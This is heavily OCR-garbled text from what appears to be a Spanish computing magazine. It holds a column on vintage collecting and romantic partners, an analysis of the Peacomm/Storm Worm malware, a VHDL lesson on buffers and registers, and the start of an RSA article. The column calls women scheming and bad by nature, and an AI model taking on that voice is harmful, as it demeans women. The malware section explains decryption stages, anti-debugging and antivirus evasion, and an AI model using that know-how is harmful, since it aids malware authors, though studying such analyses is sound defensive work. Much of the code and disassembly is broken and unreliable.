mujer y que el dinerito ganado les iria de
fdbula para comprarse ramitas y construir
su nidito de amor,

En nuestro pais la cosa de ventas al
tropel a través de portales de subastas
no suelen ser muy recomendables ni fre-
cuentes. Aqui no tenemos tanto dinero -o
ganas de gastarlo- para comprar los cien
o ciento cincuenta kilos de material que
un enamorado -o desenamorado- saca de
su casa, aqui preferimos comprar por uni-
dades, lo que devalda adn mas el valor de
los materiales. Si usted tiene urgencia de
deshacerse de algin producto o la misma
urgencia para conseguir dinero, que tanto
monta como monta tanto, los precios de
venta al piblico han de ser muy atractivos
ergo muy bajos. En suplencia se opta por
la oferta en mercados con compradores
potenciales, lo que todos conocemos co-
mo foros. En un foro dedicado a lo vintage
usted puede estar seguro que a las pocas
horas de poner su anuncio, alguien ya ha-
brd empezado a revoletear sobre su oferta
como un buitre. ¥ seguramente usted
nunca se habrd alegrado tanto de ver uno
tan cerca.

Si, carifio, lo que td digas, carifio

Quien mas se alegrard serd su ama,
verd como usted agacha la cabeza, verd
como dispone de mds espacio en su hogar
-€l suyo, el de ella- y verd cémo dispon-
drd de mds dinerito contante y sonante.
Ella, que usted igual no llega a tocar ni un

uro.

#Qué? ;Me toman por miségino? Pues
si, un poco por obligacion, me he tomado
la relativa molestia de investigar un poco
de forma muy poco elegante y nulamente
sincera para extraer datos escabrosos de lo
que piensan las mujeres. ¥ aqui les expon-
go los resultados, para que estén al tanto.

Primero de todo, olvidese de eso de
que a su pareja también le gustan los vi-
deojuegos como a usted. Que ella se pe-
gue partidazas con el Tetris de GameBoy
no significa que disfrute yendo los do-
mingos por la manana a patearse merca-
dillos en busca de piezas coleccionables.
Pdngase en su lugar justed aceptaria que
su ama se dedicase a coleccionar méqui-
nas de coser, ilustraciones de Beatrix Pot-
ter o mufiecas de porcelana con la misma
intencién y ahinco que usted colecciona
ordenadores y consolas? ;Podria vivir
sabiendo que su sefiora tiene un almacén
lleno de maquinas Singer, Alfa y Hus-
qvarna? ;No le daria yuyu ser consciente
de que en una habitacion de su domicilio
reposan cientos de muriecas de porce-
lana que al entrar le mirarian con sus
ojos muertos, y que su ama las preserva,
restaura y, Dios, juega con ellas? ;Le ha-
ria gracia que ella hiciera mas caso a sus
cacharros que a usted? ;Y que se gastara
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digamos que 200/300 euros al mes en
sus cosas? JY que estuviera mas tiempo
delante del ordenador que hablando con
usted? Un, dos, tres, responda otra vez.

La enemiga interna

5i a su ilustrisima senora le gusta el man-
ga y el-anime, es fan de algin grupo idol
japonés, de las medias de cebra y de las
Blythe, enhorabuena, su sefiora es tan
friki como usted pero eso no quita que se
aguanten por comprension, se aguantan
porque no toca otro remedio. Miren al
diio Agatha Ruiz de la Prada y Pedro J.
Ramirez, que, la verdad, no sabria decirles
quién aguanta a quién. O cudl de los dos
es e friki. :

Ya sabemos que a los hombres hay
otra cosa que nos tira mas que dos carre-
tas, y ellas también lo saben, que no son
tontas. ¥ malas, son malas por naturaleza
en potencial y aunque nunca lleguen a
ejercer como tales y posiblemente sin que
lleguen a ser conscientes de que lo son, o
cuanto menos sin verlo como algo penali-
zable. Casos como para llenar capazos, y
se los limito al tema vintage, que es de lo
que les nutro:

-Senorita que permite que su prometi-
do adquiera un mueble de recreativa para
justificar la compra de una nueva vivien-
da, casualmente al lado de donde viven
los padres de ella. Como en su actual
pisito no cabe, venga, hipoteca que te crid
para comprar otro mas bonito.

-Senorita que deja que su maridito
compre y juegue con sus consolitas.
Regularmente, cada dos meses o asi, le
monta el numerito al pobre incauto v este
le compra ropita bonita y la lleva a cenar
a algiin restaurante de alto copete para
aplacar su furia.

-Seforita que fue apuntando las com-
pras del maridito en eBay, tontito por ha-
berle ensenado su clave y su historial. Ella
apunta que te apuntards los gastos. Meses
mas tarde demanda de separacién al can-
to, divorcio en ciernes y con una tasacién
de bienes materiales en una lista tan larga
como de aqui a Paris, Te has gastado tanto,
me debes tanto.

-Sefnorita que permite que su maridito
haga su ito dominical por el merca-
dillo. El vecino del rellano también hace
su paseito por el dormitorio de la seforita
cada domingo. El marido suele llegar con
una gran sonrisa por el resultado de la
caceria. La sefiora también suele tener una
gran sonrisa, deseando que sea domingo
por la mafiana otra vez.

-Sefiorita un pelin mojigata que préc-
ticamente que se casd para no quedarse
para vestir santos; llega el sabado sabade-
te, ella se va a la cama y €l al internete.
Mientras caiga la ndmina marital y el
hombre no moleste, ella lo permite todo.

Bueno, casi todo, cualquier cosa que el
hombre haga a solas y en la que ella no
tenga paticipacion.

-Senorita actual novieta del su-
perfreak internetero, administrador de
sistemas y con cierta reputacion entre
sus congéneres interneteros. Ella se lo
permite todo, que juegue y que pierda el
tiempo en sus cosas, que cuando lo tenga
bien amarrado, con piso y papeles de por
medio, le va a quitar la tonteria a escoba-
zos, que ahora no tiene potestad sobre él
pero que cuando sean marido y mujer o
hace lo que ella dice o le va a sacar hasta
el tuétano. ¥ no creo que sea chupando
huesos de pollo.

Y mas que podria seguir y mas que
podria excusar en plan mercenario sofista.
Que si, que no todas son asi, que el Amor
existe y es para siempre, que su esposa
o novia nunca les haria ninguna de las
guarradas que les he comentado, que soy
un e::as:rar:ln y un alarmista, que lo que
pretendo es provocar y poner a la hembra
de |a especie en mal lugar. Alguno pensa-
rd asi. Y alguno pensara lo contrario. Yo no
les aseguro que tenga la razdn, solamente
les expongo hechos, lo que opine no im-
porta mucho en realidad, ustedes tienen
el suficiente raciocinio como para leer v
no sentirse ofendidos. O para sentirse, que
la libertad emocional tiene esas cosas.
Una cosa y la otra les permite pasarse por
www.matranet.net y utilizar cualquiera de
las casillas de correo que alli encontrardn
para ponerse en contacto conmigo y ex-
playarse a gusto con este escribano al que
llaman 5.T.A.R.

OLVIDESE DE ESO DE
QUE A SU SENORA
TAMBIEN LE GUSTAN LOS
VIDEOJUEGOS AUNQUE
LA VEA JUGAR CON EL
TETRIS DE GAMEBOY
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dades nos haran deleitar el cerebro.

Buenas a todos los lectores interesados en el arte de los virus. Hoy les traigo uno de los espe-
cimenes mas interesantes de los iltimos tiempos. Veamos de qué se trata, qué trucos y nove-

La generacion Peacomm

No es la Gnica generacién, pero se trata de la nueva generacién
de virus que funcionan, haciendo DDOS, no solamente como
maguinas zombies las que son sometidas a comandos a través
de IRC o de shells inversas, sino que se utilizan para atacar utili-
zando las redes P2P.

Simplemente modifican pardmetros en el protocolo P2P, por
ejemplo Overnet (Edonkey), o algunos de Emule, de manera
que hacen figurar que ciertos ficheros muy buscados en la red,
estdn alojados en un host, cuando no lo estin.

Esto genera miles de peticiones por segundo hacia esa mi-
quina, que es la victima. jResultado? Un DDOS interesante,
dejando inutilizada la coneccién de la victima.

sVentajas? Son varias por cierto, una de ellas, es que los
ataques son distribuidos, desde el origen al destino, y no como
en el ataque de zombies a través de IRC, el cual el origen, es
a través de un comando y todos reciben ese comando por un
canal fijo.

Reciben, de manera distribuida el comando y realizan ac-
ciones de manera distribuida.

Otro aspecto, es que es totalmente anénimo, en la version
a través de IRC, el problema, es que se loguean en el servidor
y figuran sus IP, a menos que utilicen proxies de IRC, lo cual es
complicado de conseguir.

Obviamente es anénimo el comando origen, y las mdquinas
que realizan el ataque son totalmente victimas de la infeccidn,
con lo cual, se desconoce la actividad que estdn llevando.

:I ....! h-r-r O

El nombre Peacomm también se ha registrado con otros
nombres “Storm Worm®, “Nuwar” 6 “Zhelatin®,

La primera variante fue descubierta a mitad de Enero del
ano 2007 y fue uno de los bots mds conocidos y exitosos.

Elementos del virus

Las principales caracteristicas del virus, son:

1. Desencripcion por XOR en la primera etapa

2. En la segunda etapa, utiliza el algoritmo TEA, para desen-
criptarse a si mismo.

3. TIBS Unpacker

4. Cadigo Anti-Debugging

5. Files dropping (descompresion de archivos en ubicacio-
nes concretas del sistema)

6. Infeccion de drivers del sistema

7. Ofuscacion del OEP del virus

; 8. Trucos para la deteccidn del virus en una VM (virtual ma-

chine)

Ademds contiene un rootkit, el cual contiene un driver lla-
mado spooldr.sys. Este posee ciertas caracteristicas:

1. Desactivacion de productos de monitoreo y seguridad

2. Ocultacion de archivos por 55DT

3. Inyeccion de la Shellcode para spawning de procesos

4. Sistema de bloqueo de ficheros

Como vemos, el virus estd dividido en tres dreas, en el drea
1, después de que se inicia el fichero principal (applet.exe por

mundo digital-
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AREA 3 (0x42321F - 0x426AEE)
Fhes dropping in windows directories, kbdclass.sys infection,

TEA decryption and unpacking of Area 2 ...
Cu£24603 - 0x4255F2  Rootkit driver spooldreys
(L 265F) = (4 2695E  Mbdclass.sys Infection code
fud2555F = DndJHABF  Unpacking routine
0nd26A50 - Ox426A9F 1230k TEA decryption key

Ord25AAD - On426AEE  Oud® Bytes of original packed data. Gets moved to Ondd1000

=jemplo), se hace una desencripcién con XOR de los datos del
area 3, luego se salta a esa drea.

El drea 3 contiene cddigo, luego de la desencripcion, y hace
ilgunas tareas como por ejemplo files dropping, desencriptar y
desempaquetar el nicleo del virus que se encuentra en el drea
}

Al final del proceso principal del virus, las importaciones de
las AP, son seteadas, y el codigo del drea 2, es ejecutada para
que lleve a cabo la parte principal del virus.

Area 3, Primer proceso

Podemos ver en la imagen, la desencripcién en el drea 3. En
la direccidn 40101, vemos la instruccién que desencripta el
virus. En el registro EAX, tendremos los datos a encriptar/desen-

O Ontinet

«COM

TENOD3SWI

VIRUS

criptar, en el segundo pardmetro, la clave, que es: 149594Fh.

Lo curioso del algoritmo, es que después de la desencrip-
cion con XOR, se agrega un llamado a la API FreelconList, en la
direccidn 401019, ;por qué?

Sabemos que este tipo de APIS en un virus, no sirve para
mucho, y siempre devolvera en EAX, un valor que no sirve para
nada, con lo que... el uso, es simplemente para engafiar a los
Antivirus.

;Como se engana con esto simplemente?

El APl FreelconList, es una APl inofensiva, v por lo tanto, estd to-
talmente permitida en las sandbox y en las engines de los AV's.
Con lo cual, éste cadigo puede ser tratado como “bueno” por
esto, cuando no lo es, obviamente.

En otras versiones del virus, podremos encontrar otras fun-
ciones “legales”, y ademds la engine de desencripcién varia en
cada fichero. ;Les hace recordar esto a metamorfismo? Aqui lo
tienen en accidn ;)

Una vez que fue desencriptado, siendo este tamano de
14544 bytes, un jmp en la direccidn 40102d, ejecuta el cédigo
en el drea 3 en la direccion 42321f.

Existe el truco de una cabecera PE falsa, ya que, si desen-
samblamos con IDA, el ejecutable e intentamos ir hacia la di-
reccion 42xxxx, no veremos nada, ya que DA, se dejo “llevar”
por la informacidn falsa y no mapeo esa parte del fichero.

start PIoC near

text: 00401000 push ebp
text: 00401001 MoV ebp, esp
text: 00401003 shr eax, 20h
text: 00401006 push e
LEext: 00401007 push Bsp
.text:00401008 pop edi
Ltext: 004010059 mov BAX,
42321Fh

Ltext:0040100E stosd
LLext:0040100F call sub 40102F

Aqui arriba, tenemos el comienzo del virus, y luego segui-
mos COMOo vimos:

-text:00401014

.text:00401014 loc 401014:
; CODE XBEF: start+:A#)
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-Lext: 00401014 call sub_40103A
.text:00401019 add eax, [esi]
Lext:0040101B add esi, 4
Eext:0040101E XOT EaM,
149594Fh

Lext: 00401024 lea adi, [esi-
4]

Lext 00401027 stosd

LEext: 00401028 cmp ebx, esi
.text:0040102A jnz short loc
401014

.text:0040102C pop ebp
.text:0040102D Jmp ebp

~Lext 00401020 start endp

Aqui tenemos el bucle con la primera desencripcidn, el fa-
moso XOR, con la clave mencionada.

Podriamos arreglar los datos en la cabecera PE, pero veria-
mos los datos encriptados de cualquier forma, lo mejor es ver
el virus en accién con Ollydbg, por ejemplo o ir debugeandolo
de a poco. ;Mos animamos? jPor supuesto que si! Veamos qué
sucede.

Mada mds empezar, veremos el llamado a la API “legal”:

. sCOm e

0040103A PUSH 0

0040103C PUSH BFF48154

00401041 MOV EAX, <&SHELL32.FreelconList>
00401046 CALL [DWORD DS:EAX]

00401048 RETHN

La llamada a la API FreelconlList, se realiza por cada XOR
realizado, es decir, por cada BUCLE que logra desencriptar un
trozo el virus, esa APl es ejecutada, de esta manera se logra ca-
muflar el virus, como anteriormente dijimos.

El drea del virus quedard desencriptada luego del primer
proceso, XOR, el cual lo veremos asi:

0042321F ADC BL,DL
DO423221 MOV [BYTE DS:ESI)AH

00423223 LODS [DWORD DS:ESI)

0423224 S50B AL, 1C

00423226 ADD [DWORD DS:EDX-2D],44FE4519
0042322D FREFIX REP:

D042322E ADD EAX,EDI

00423230 FUSHFD

00423231 POP 55

00423232 PUSH ESI

0423233 BEETF

00423234 AND EBEP, [DWORED DS:EDX+C29CFB00]

Bien, luego de seguir mirando el cédigo, veremos que hay
algo de “basura”, si seguimos debugeando, se producird una
excepcion.

Seguimos mirando un poco mas abajo de la direccidn
42330d, veremos mds instrucciones basura, entonces hay ins-
trucciones como insb/arpl, que son ejecutadas en modo kernel,
pero aqui estamos en modo usuario, con lo que no es posible.

Entonces encontramos una instruccién que tiene sentido en
la direccidn 423308, la cual llama a 423324, Si miramos en for-
ma hexadecimal con el IDA, veremos que se trata de un string.

Después de desensamblar correctamente, veremos a lo largo
del virus, que hay variedad de trucos antidebugging.

Desencripcién TEA y TIBS Unpacking

Otra parte interesante que sucede en el virus, es el desencripta-
do del cuerpo del mismo, una vez pasado el XOR.

5i miramos el volcado con peid, veremos dos signatures de
TEA, encontrados por el programa identificador de PE.

[pEs,su mundo digital-
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proG neLar - !m ME: l!nﬂEFﬂIIIUHEHUFl'IIF

push wdd |

Lol ehx, [edi] : #bu {--- pdi = start address for decrypkion
L) eow, [eaiis]

Har Ul TN

iz wdn, PESFFREON ; delta

oy wed, Pan & rounds

rotate 32 _times_1: CODE NREF: TERQecrypiionisus)j

Peid, nos da varias opciones, pero

add wak, wdn
encontramos en el desensamblado que mou  shp, mew
Shi1 BEp, &

se trata de TEA, por el DWORD utili-

add ohi, ebp

zado. may  whp, [wsd] i 1. 3bit velue of decrgption key
war BBp, BEM
and  ehu, ebp
- L
why wbp, 5
Cnnl:ll.IS[ﬁI'l xnr #bp, Bax
add (11

Bueno, empezamos a analizar linda
bestia, es algo mur interesante, posee
diversos trucos, y lo mejor de todo, es

i

add oo, [ersien) § 2. 320iE value ofF decryption key
Ay wbip, obx

shl ebp, &

add ®cu, shp
que aprenderemns mucho de ellos. :I:I ::- E::ilu] P 8. d¥niE walue oF oecryption key
Hay muchos creadores de virus y afi- aid  wcx, whp
cionados, que buscan evitar antivirus, N M
pero no he visto estas formas tan sim- el
n HCEy ¥
plES-E:dES un muy buen E]EI'_I‘I]:]'D. ;: ;:. |u:hi}h| ; & 3%biEk value of decryption key
0s vemos en la proxima. fnz  chert rotate_ 32 tlmes_1
pup
M [eai], ehu i EEnre decrypted bytes on current nemary address
e Spﬂl'ﬂ mny [eaiss], ecx : store ﬂrsgstm uﬂtuu on Gurrent mn!!lry a;[lr‘!!!
http://www.disidents.org htasas — ru:n
http://www.intrabytes.com S —
spark@disidents.org

push  dword ptr ss:word_401DE6[ebp]
push dword ptr ss:word S01E12[ebp]
push ss:dword A01DFA[ebp)

call sub 424548

call sub_&2337h

loc_k23302: ; CODE XREF: start+CST]
push ebx
call sub_&239DF
call suh WP330N

pop E5p
db G4h
» insh
insb
arpl [ecx+63h], sp
626B5CAE5h

fs:[ecx+73h], bp

short near ptr loc_Kk23340+5
short near ptr loc_&23398+3
short 3+2

[n 0423308
06423300 abllcacheKbdcla db *\dilcache\kbdclass.sys',8
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La unidad de control (I1)

Cuando se dispone de una maquinaria muy compleja, una de las tareas mas criticas es contro-
larla. Los modernos robots industriales poseen una potencia, precisién y rapidez asombrosas,
pudiendo hacer cosas que van desde prensar vehiculos desguazados a construir tGneles bajo el
océano, pasando por dibujar las precisas pistas de silicio de las placas integradas. Pero, todos
esos elementos, sin un autémata que los controle de forma adecuada, no sirven para nada. En
computadores, a cualquier nivel que consideremos, encontraremos un elemento de control, y en

el nivel de microprocesador es la unidad de control la encargada de dicha tarea.

Saludos a todos, fieles lectores. Aqui estamos una vez mds,
como cada mes, dispuestos a aprender algo nueveo. El mes
pasado comenzamos a hablar sobre el que es, posiblemen-
te, el elemento mds importante y complejo dentro de un mi-
croprocesador: la unidad de control. Comenzamos nuestra
andadura viendo ciertos aspectos intuitivos del control en
sistemas computacionales y hablando de las distintas filoso-
fias de disefio de unidades de control.

Mas tarde hablamos de un concepto tan importante co-
mo es el del bus, lo que nos llevé a introducir el concepto
de resolucidn de una sefal. Creamos un paquete de cédigo
que utilizaremos a menudo cuando trabajemos con buses, y
dejamos indicada la interfaz de lo que serd nuestro buffer.

Ahi lo dejamos, y es ahi donde lo retomamos.

El buffer

En el nimero anterior quedamos en que nuestro buffer ten-
dria una interfaz parecida a esto:

Maquetacién: a partir de ahora, denotaré el cédigo fuen-
te (o las érdenes sobre linea de comandos) mediante una
tabulacion de 1,25 (como esta llamada de atencidén) y tipo-
graffa cursiva, de forma que si desedis tratar dicho texto de
orma diferente, podéis identificarlo ficilmente.

ENTITY bufferle IS5
GENERIC (rdtransf: TIME:= 20 ns;
rztransf: TIME:= 10 nsj;
PORT ({entrada: IN buslé:
contral: IN BIT:='0";
salida: OUT buslé):
END bufferle;

En la implementacién, cuando el buffer esté activo (se-
fal de control con un valor légico de uno), la salida seguird

@ os

ESTE PROCESO TIENE QUE EJECUTARSE
CUANDO LA SENAL DE CONTROL O LA
ENTRADA DEL BUFFER CAMBIEN DE
ALGUNA MANERA

al valor de la entrada tras un cierto retardo de transferencia
(rdtransf); mientras que cuando no esté activo, la salida es-
tard en alta impedancia tras el retardo correspondiente (rz-
transf). Este proceso tiene que ejecutarse cuando la sefal de
control o la entrada del buffer cambien de alguna manera
de valor, por lo que dichas sefales deben estar en la lista d
sensibilidad asociada al proceso.
Una posible implementacion seria la siguiente:

USE WORK.bus pack.ALL;

EMTITY bufferlec IS
GENERIC (rdtransf: TIME:= 20 ns:
rztransf: TIME:= 10 ns);
fentrada: IN buslé;
control: IN BIT:='(Q";
salida;: OUT buslb);
END bufferlé;

FORT

ARCHITECTURE comportamental OF bufferle IS
BEGIN

FROCESS (entrada,control)
BEGIN

== Comprueba si el buffer esta
activeo

IF control="1" THEHNH



Itera para cada bit
FOR i IN O TO 15 LOOP
-— Entrada
wctivada ¢ alta impedancia
IF entrada{i}="1"'
E entrada(i)="2Z" THEHN
salida (i)
= TRAHNSFORT 'l' AFTER rdtransf;
-— Entrada
desactivada
ELSE
salida (i)
TRAHNSFORT '(0" AFTER rdtransf:
END IF:
EHD LOOE;
== Buffer no activo

EL5SE

salida <= TRANSPORT

Ilz_‘lr |El: IEI‘:

.zlrrzl_r.lzp;‘Er.l

FE!,IEIF'IEF;HETF

rzlxlzllizr'lzll

END IF;

AFTER rztransf:

EHD FPROCESS:
END comportamental;

Es muy importante fijarse en cémo actia la salida del
circuito cuando se cambia constantemente la sefial de con-
trol de habilitacion, pues los retardos que hemos explicita-
do en el cédigo causan esos “colchones” de tiempo en la
fluctuacion de los datos.

GElIELZUP G ARQUITECTURA DE COMPUTADORES == st

ES MUY IMPORTANTE FIJARSE EN COMO
ACTUA LA SALIDA DEL CIRCUITO CUANDO
SE CAMBIA CONSTANTEMENTE LA SENAL
DE CONTROL

Los registros

Otro elemento vital a la hora de transferir datos en un bus
del sistema es el registro. Se trata de un circuito de me-
moria con una gran velocidad y, por lo general, muy baja
capacidad de almacenamiento. Por ello, su utilidad suele
residir en almacenar un dato de forma temporal, antes de
ser transferido a través de un bus a un elemento de proceso
o almacenamiento.

Fara disefiar un registro de 16 bits debemos tener en
cuenta las sefiales que interaccionardn con el circuito, si
bien éstas serdn bastante similares a las del buffer que aca-
bamos de ver. En primer lugar, necesitaremos una entrada
de ancho palabra (16 bits en nuestro caso) asi como una
salida de igual tamafio. Ademds, debemos incluir una sefial
de control de habilitacién para indicar cudndo debe funcio-
nar el circuito y cudndo no. Los puertos, por tanto, queda-
rian de la siguiente forma:

ENTITY registrols IS

PORT (entrada: IN buslé;
control: IH BIT:="0"';
salida: OQOT buslé):

END raegistrolb;

Por otro lado, también es necesario incluir un retardo

que simule el tiempo necesario para que el circuito redirija

el dato almacenado a la salida del circuito,
cuando asi se lo indique la sefial de control.

.Y T
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GEMERIC (rdtransf: TIME:= 10 ns);

Por tanto, la declaracion de nuestra entidad
seria la siguiente:

ENTITY registrols IS

GEMERIC (rdtransf: TIME:= 10
naj);
PORT (entrada: IN buslg:
control: IH BIT:="0";

galida: OUT buslg):
END registrolé;
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Activacion por flanco

Hasta este momento hemos estado trabajando
con elementos cuya activacién es sensible al
valor de la sefial en la lista de sensibilidad del
proceso. Es decir, si la sefial tiene valor activo
(“1") pasa algo, y si tiene valor inactive (“0")

Simulacidn del butfer de T bits

pasa otra cosa. Esto es lo que se conoce como
activacidn por nivel, pues dependiendo del

@69
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nivel eléctrico de la sefal de control, la ac-
tuacion sera diferente.

La otra alternativa es la activacién por
flancos, pudiendo ser en flanco de subida

CDWPRE | BWULATE

Ml Ly P Mun Sgres Comora Viedes el

(L1

LONT  BRAEAE | STEF OVIR

File Edh Jesm Corsr  Oplass

o de bajada. Los flancos tienen lugar en los
instantes de tiempo en que la senal cambia

de valor (pasando de “1% a “0" o viceversa),
y podemos observarlo en el cronograma co-
mo lineas verticales con respecto al eje del

tiempo.

;Y como se simula esto en VHDL? Si re-
corddis cuando habldbamos de los atributos
de las sefales, en el quinto articulo del pre-
sente curso, correspondiente al nimero 112

[[] /entrada = min
O] fewstrel =
[] Fsalida = w@we

de @RROBA; vimos que un atributo es una
caracteristica especial asociada a ciertos ele- L
mentos del lenguaje. Concretamente, existen
eventos asuciagus a las sefales, siendo el
mas tipico:

Riah

leere et foeeeel B D

R

lente freire fertads BB 1DE10190 0
Rar

lerte irtere poeateei 0 6

Ran

lents sirern fosatenl B0

R

IF [coatrol "EWEHT aHD ceakral='B') TWiH 2
rox 4 EW OB TE Y6 LDES
IF sl i}="1" o n'lnui:!.:- ° WM
I-rnrlltu = "§*
LK
mamariafijo= "8
I [F§
[H LOEFE 4]
s IF;

palidn €= wamaerils aF (00 PdTrEssf]

== Evento sobre una sefal,

R4 H b4

devuelve true si ha tenide lugar un
cambio

CLi - | "
LT

sefial "event

El evento “EVENT" indica un cambio en
la sefial cuyo atributo es evaluado. Dado que
queremos detectar un cambio de flanco, sabemos que éste
debe cumplir dos caracteristicas: que el valor sea un “07 si
buscabamos un flanco de bajada o un “1” si era un flanco
de subida lo que queriamos detectar, e invariablemente en
ambos casos que la sefial cambie. Asi, si queremos detectar
un flanco de bajada, debe cumplirse que la sefial cambie y
tome un valor “0":

IF (sefial'EVENT AND seflal='0")
Baai]

Voltaje

Flanco
Ascendente thé::ndint /

Que es justamente lo que utilizaremos en nuestro registro.

Implementando el registro

El funcionamiento que debe tener nuestro registro es bien
sencillo: cuando la sefial de control cambie, se activara el
proceso que se encargard de comprobar si el cambio ha
sido debido a un flanco de subida o de bajada. Si se trata
de un tlanco de bajada, almacenard en la memoria interna
la informacidn conectada a la entrada, mientras que si se
trata de un flanco de subida, simplemente volcara la infor-
macidn que tiene almacenada en la citada memoria a la
salida.

Una propuesta de dicha implementacion seria la si-
guiente:

USE WORK.bus pack.ALL;

ENTITY registrole IS
GENERIC (rdtransf: TIME:= 10 ns);
PORT (entrada: IN busls;
control;: IN BIT:='[Y;
salida: OUT busle);
END registrols;

SE CONOCE COMO ACTIVACION POR
NIVEL, PUES DEPENDIENDO DEL NIVEL
ELECTRICO DE LA SENAL DE CONTROL

LA ACTUACION SERA DIFERENTE
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Bus de Datos

S NECESARIO INCLUIR UN RETARDO
QUE SIMULE EL TIEMPO NECESARIO
PARA QUE EL CIRCUITO REDIRIJA EL
DATO ALMACENADO A LA SALIDA DEL
CIRCUITO

ARCHITECTURE comportamental OF registrolé
1S
BEGIN

PROCESS {(control)
VARTABLE memoria: busglp:=
tlﬂr'lﬂlilullrﬂl:

"ﬂ';'ﬂ','ﬂ','ﬂ".
rﬂl,lﬂl;lﬂl‘lur’

I":II:‘IGIFiDirlDI];
BEGIN

IF (control'EVENT AMD
control="0"), THEN
FOR i IN O T 15 LOOP
IF entrada{ij="1"
OR entrada(i)="Z" THEH

memoria (i) = "1"';

ELSE
memorcia(i) = "Q";
END IF;:
END LOGPE:
EHND IF:

salida <= memoria AFTER rdtranst:;
END PROCESS;:

END comportamental;

'r+r+t:*P+lfer'+'r
I.-'

AT

OEN i
10£D f"uTh1ﬁﬂ 1l j'::
i YIoEL uu—-qJ fiLktiy

Buffer de 1§ My de un disco dur.

Conectando el buffer y el registro

Ahora que poseemos un registro y un buffer funcional, es

el momento de crear una unidad de memoria simple con
ambos elementos. El disefio estard gobernado por un reloj
digital, y las entradas de control del buffer y del registro se
activaran cuando la sefial de activacidn correspondiente
esté activada y ademds el reloj se encuentre en un nivel gque
lo permita. Asi pues, el disefio podria ser algo asi:

En primer lugar, nos falta definir un elemento para el sis-
tema, y es el reloj, para el cual usaremos un periodo de 20
nanosegundos. No me extenderé en explicaciones, puesto
que ya hablamos de los relojes en su dia. El cédigo fuente
es el siguiente:

ENTITY reloj IS
GENERIC (pericdo: TIME:= 20 ns):
PORT(reloj: OUT BIT:= '0°);
EHD reloj;
ARCHITECTURE comportamental OF reloj IS
EEGIN
PROCESS
BEGIN
WAIT FOR periodo/2;
relej == "1";
WAIT FOR periodo/2;
reloj <= "0";
END PROCESS;
END comportamental;

Y el codigo del sistema serd algo como esto:
UsE HDRK‘bME_pack-HLL}

EHTITY smemlé IS
FPORT (busdatos: INOUT rbuslb;
controlR, controlB: IN BIT);
EHND smemlé;

ARCHITECTURE estructural OF smemlé IS
==declaracidn de componentes
COMPOMENT reluj

PORT(reloj: OUT BIT:= '0"):
END COMPONENT;

@&n
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COMPOHENT and2
FORT {a,b: IN BIT; z: OUT BIT):
END COMPORENT ;

COMPONENT registrolé
EFORT (entrada: INH buslé;
control: IH BIT:="0";
salida: OUT busls):
END COMPOMENT :

COMPOWENT bufferlsé
FORT (entrada: IN buslh:
control: IN BIT:="0";

salida: OUT busls); "-_'-': ¥ M “"-C-E_m

END COMBPONENT : Eﬁ’fjjv. : EEE.
(ESrern |

R o e B P e e e e ——

——declaraciin de seflales """--'-'--*-'-n--'f---h*--u_-l-u—

SIGHAL clk: BIT;
SIGHAL reont, beont: BIT:
SIGHMAL conex: buslé;

==ubicacifén de arquitecturas

FOR ALL: reloj USE ENTITY WORK.
reloj (comportamental) ;

FOR ALL: andd USE ENTITY WORE.
and (comportamental) ;

FOR ALL: registrolé USE ENTITY WORK.regist
rolé (comportamental) ;

FOR ALL: bufferlt USE ENTITY WORK.bufferlé
(comportamental) ; FOR ALL: smemle USE ENTITY WORK.

smemleé (estructural);

Ef badfer a5 indispensable v los modamos diseos duros,

BEGIN
-—conexién de la estructura SIGHAL busd: rbusléG;
SIGHAL contr,contbh: BIT:
Breloj: reloj EFORT MAP(clk):
Bandreg: andZ PORT BEGIN
MAP (clk,controlR, ccont) ;
Bregistro: registrole PORT MAP(busda memoria: smemlé PORT
tos, rcont . conex) ; MAP (busd, contr,conthb] ;
Bandbuff: andZ FORT
MAP(clk,controlB,;bcont) ; PRGCESS
Bbuffer: bufferld FORT MAF (conex,bcont,bu BEGIH
scatos) ;
busd <= TRANSPORT
END estructural;: 1010000202012
WAIT FOR 20 ns;
Para poder trastear con el circuito recién creado, podéis contr <= 'l';
probar este test bench: WAIT FOR 30 ns;:
contr <= "0°';
USE WDRH.busﬁpack-ALL; conth <= "'1°"-
WARIT FOR 30 ns;
EHNTITY TE_smemlﬁ 15 busd <= TREANSFORT
END TBHEmEmlE; SEREZZEZLLTEZRTEZEL" ;
WAIT FOR 30 ns;
ARCHITECTURE estructural OF TE_SmemlE IS conth <= "[";

WAIT FOR 30 ns;
COMPONENT smemlb

PORT (busdatos: INOUT busle: END PROCESS;
controllk, controlB: IH BIT):
END COMPONENT: EMD estructural:



Siempre es recomendable, ain cuando yo proponga un | mhwm 08
sistema test bench de pruebas para comprobar el funcio-
namiento de una entidad, que vosotros mismos generéis
otros test bench para adaptarlos a vuestras propias necesi-
dades, y asi poder sacar vuestras propias conclusiones.

: @ RTSPPNADOY. 00 14

El mes que viene... D e 1
Este mes hemos implementado dos elementos vitales para O Automati corfigustion using prooy script |
toda unidad de control: el registro y el buffer. Ademds, he- B Duftec n
mos visto como podemos implementar, mediante ellos, un @ Qﬁ |
sencillo sistema de memoria. El mes que viene continua- © 90 wee.
remos viendo las posibilidades que nos ofrece una unidad 'G 120 see.
de control a la hora de disefiar y trastear ‘ s spackic UDP porte
ey ar y trastear con el lenguaje O3 On [defank ports e 770-7071] \:

jHasta la prdoximal

ER) ( coes )

Ramiro Cano Gomez
death_master@hpn-sec.net
http://omniumpotentior.wordpress.com/
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Buenas a todos, estamos de vuelta para seguir con esta linda parte de la criptografia denominada
criptografia asimétrica. Seguiremos estudiando ejemplos de utilizacion y generacion de llaves
con los mas famosos algoritmos.

RSA PUEDE
TAMBIEN SER
USADO PARA
AUTENTICAR UN
MENSAJE

@74

Recordando el camino de RSA

El camino que los creadores del algoritmo que lleva sus iniciales, y pertenecian en
aquel momento al MIT, es el que describiré ahora de manera textual:

Generemos dos ndmeros primos aleatorios grandes, los llamaremos p v q. Deben
ser aproximadamente del mismo tamafio que su producto n=p.q, lo que dari la longi-
tud, por ejemplo: 1024 bits.

1.Computar n = pq y (?) phi = (p-1)(g-1).

2.Elegir un entero e, 1 < e < phi, tal que su gedle, phi) = 1.

3.Computar el exponente “secreto” d, 1 < d < phi, tal que
ed ? 1 (mod phi).

4.La llave pdblica es (n, e) y la llave privada es (n, d). El valor de p, q, y phi deberia
mantenerse en secreto.

- n es el modulo.

- e es el exponente pblico o exponente de encripcion.

- d es el exponente privado o el exponente de desencripcidn,

Ahora veremos un caso de ejemplo, para generar una llave piblica y una privada.

1.Seleccionemos los niimeros primos p=11, g=3.
2n=pg=113=33
phl — {FI-1 H':I'”I =102 =20
